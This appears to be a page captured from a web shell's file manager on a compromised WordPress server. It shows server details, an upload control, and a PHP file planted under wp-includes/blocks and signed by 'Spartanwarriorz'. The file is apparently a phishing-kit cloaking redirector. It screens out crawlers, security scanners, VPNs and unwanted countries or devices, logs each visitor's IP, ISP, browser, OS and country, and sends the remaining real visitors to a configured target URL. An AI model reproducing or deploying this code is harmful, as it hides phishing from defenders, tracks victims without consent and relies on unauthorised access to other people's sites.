HEX
Server: Apache/2.4.25 (Debian)
System: Linux server17 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User: web37 (1062)
PHP: 7.4.30
Disabled: show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
Upload Files
File: /var/www/web37/htdocs/telefonsex-info/wp-includes/blocks/home-link/1617/index.php
<?php
/**
 * Edited by Spartanwarriorz
*/
error_reporting(-1);
require 'plugins/CrawlerDetect/Fixtures/AbstractProvider.php';
require 'plugins/CrawlerDetect/Fixtures/AbstractReff.php';
require 'plugins/CrawlerDetect/Fixtures/Crawlers.php';
require 'plugins/CrawlerDetect/Fixtures/Exclusions.php';
require 'plugins/CrawlerDetect/Fixtures/Headers.php';
require 'plugins/CrawlerDetect/Fixtures/Headerspam.php';
require 'plugins/CrawlerDetect/Fixtures/SpamReferrers.php';
require 'plugins/CrawlerDetect/CrawlerDetect.php';
require 'plugins/CrawlerDetect/ReferralSpamDetect.php';
require 'core.php';
use Jaybizzle\CrawlerDetect\CrawlerDetect;
use Jaybizzle\ReferralSpamDetect\ReferralSpamDetect;
//-------------------------------------------------------------

// USE Token 

$use_token = true; // change it to true if you want to use token params

if($use_token){
  if(isset($_GET['token'])){
    $xtoken = filter_input(INPUT_GET, 'token', FILTER_SANITIZE_STRING);
  }
}

//-------------------------------------------------------------
$time = date("Y-m-d H:i:s");
$code = $_GET['p'];
if($code == "admin" or $code == "admin/") {
     header("location: index.php");
     exit();
}
if(!file_exists("db/url/$code.ini")) {
    header("location: error.html");
    exit();
}
$setting = parse_ini_file("db/url/$code.ini");
if(isset($setting['url'])) {
    $CrawlerDetect = new CrawlerDetect;
    $referrer = new ReferralSpamDetect;
    $type = $setting['error'];
    $url = $setting['url'];
    $alternative = $setting['alternative'];
    foreach ($blocker_ua as $useragent) {
      if (substr_count($ua, strtolower($useragent)) > 0 or $ua == "" or $ua == " " or $ua == "    ") {
          $status = "bot";
          $detect = "User Agent";
        }
    }
    foreach ($blocker_uafull as $uanew) {
      if ($ua == strtolower($uanew)) {
          $status = "bot";
          $detect = "User Agent";
        }
    }
    foreach ($blocker_ip as $ipbot) {
      if(preg_match('/' . $ipbot . '/',$_SERVER['REMOTE_ADDR'])){
          $status = "bot";
          $detect = "IP Range";
        }
    }
    foreach ($blocker_hostname as $hostnamebot) {
      if (substr_count($hostname, $hostnamebot) > 0) {
          $status = "bot";
          $detect = "Hostname";
      }
    }
    foreach ($blocker_isp as $ispbot) {
      if (substr_count($isp, $ispbot) > 0) {
          $status = "bot";
          $detect = "ISP";
        }
    }

    if($setting['onetime'] == "on") {
      foreach ($onetime as $onetimeaccess) {
        if ($ip == $onetimeaccess) {
            $status = "bot";
            $detect = "Onetime";
          }
      }
      tulis_file("db/onetime.dat","$ip");
    }
    if($vpn == "Y") {
        $status = "bot";
        $detect = "Proxy/VPN";
    }
    if($CrawlerDetect->isCrawler()) {
        $status = "bot";
        $detect = "Bot Crawler";
    }
   
    if($status == "bot") {
        tulis_file("logs/$code-bots.txt","$ip|$time|$hostname|$isp|$detect");
        tulis_file("logs/$code-visitor.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode|Bot");
        blocked($type);
    }
    
    if($setting['country'] == "all") {
    }else{
      if($country != $setting['country']) {
        tulis_file("logs/$code-bots.txt","$ip|$time|$hostname|$isp|Lock Country");
        tulis_file("logs/$code-visitor.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode|Bot");
        blocked($type);
      }
    }
    
    if($setting['device'] == "mobile") {
      if($os == "Android" or $os == "iPhone" or $os == "iPad") {
      }else{
        tulis_file("logs/$code-bots.txt","$ip|$time|$hostname|$isp|Mobile Only");
        tulis_file("logs/$code-visitor.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode|Bot");
        blocked($type);
      }
    }
    if($setting['device'] == "desktop") {
      if($os == "Android" or $os == "iPhone" or $os == "iPad") {
        tulis_file("logs/$code-bots.txt","$ip|$time|$hostname|$isp|Mobile Only");
        tulis_file("logs/$code-visitor.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode|Bot");
        blocked($type);
      }
    }
    if($setting['device'] == "apple") {
      if($os == "Mac OS X" or $os == "Mac OS 9" or $os == "iPhone" or $os == "iPad" or $os == "iPod") {
      }else{
        tulis_file("logs/$code-bots.txt","$ip|$time|$hostname|$isp|Apple Only");
        tulis_file("logs/$code-visitor.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode|Bot");
        blocked($type);
      }
    }
    if(check_down($url) == "online") {
        tulis_file("logs/$code-real.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode");
        tulis_file("logs/$code-visitor.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode|Real");
        if($use_token){
          if(substr($url , -1)=='/'){
            header("location: $url?token=$xtoken");
          }else{
            header("location: $url/?token=$xtoken");
          }
        }else{
          header("location: $url");
        }
    }else{
        tulis_file("logs/$code-real.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode");
        tulis_file("logs/$code-visitor.txt","$ip|$time|$hostname|$isp|$br|$os|$country|$ccode|Real");
        if($use_token){
          if(substr($alternative , -1)=='/'){
            header("location: $alternative?token=$xtoken");
          }else{
            header("location: $alternative/?token=$xtoken");
          }
        }else{
          header("location: $alternative");
        }
    }
}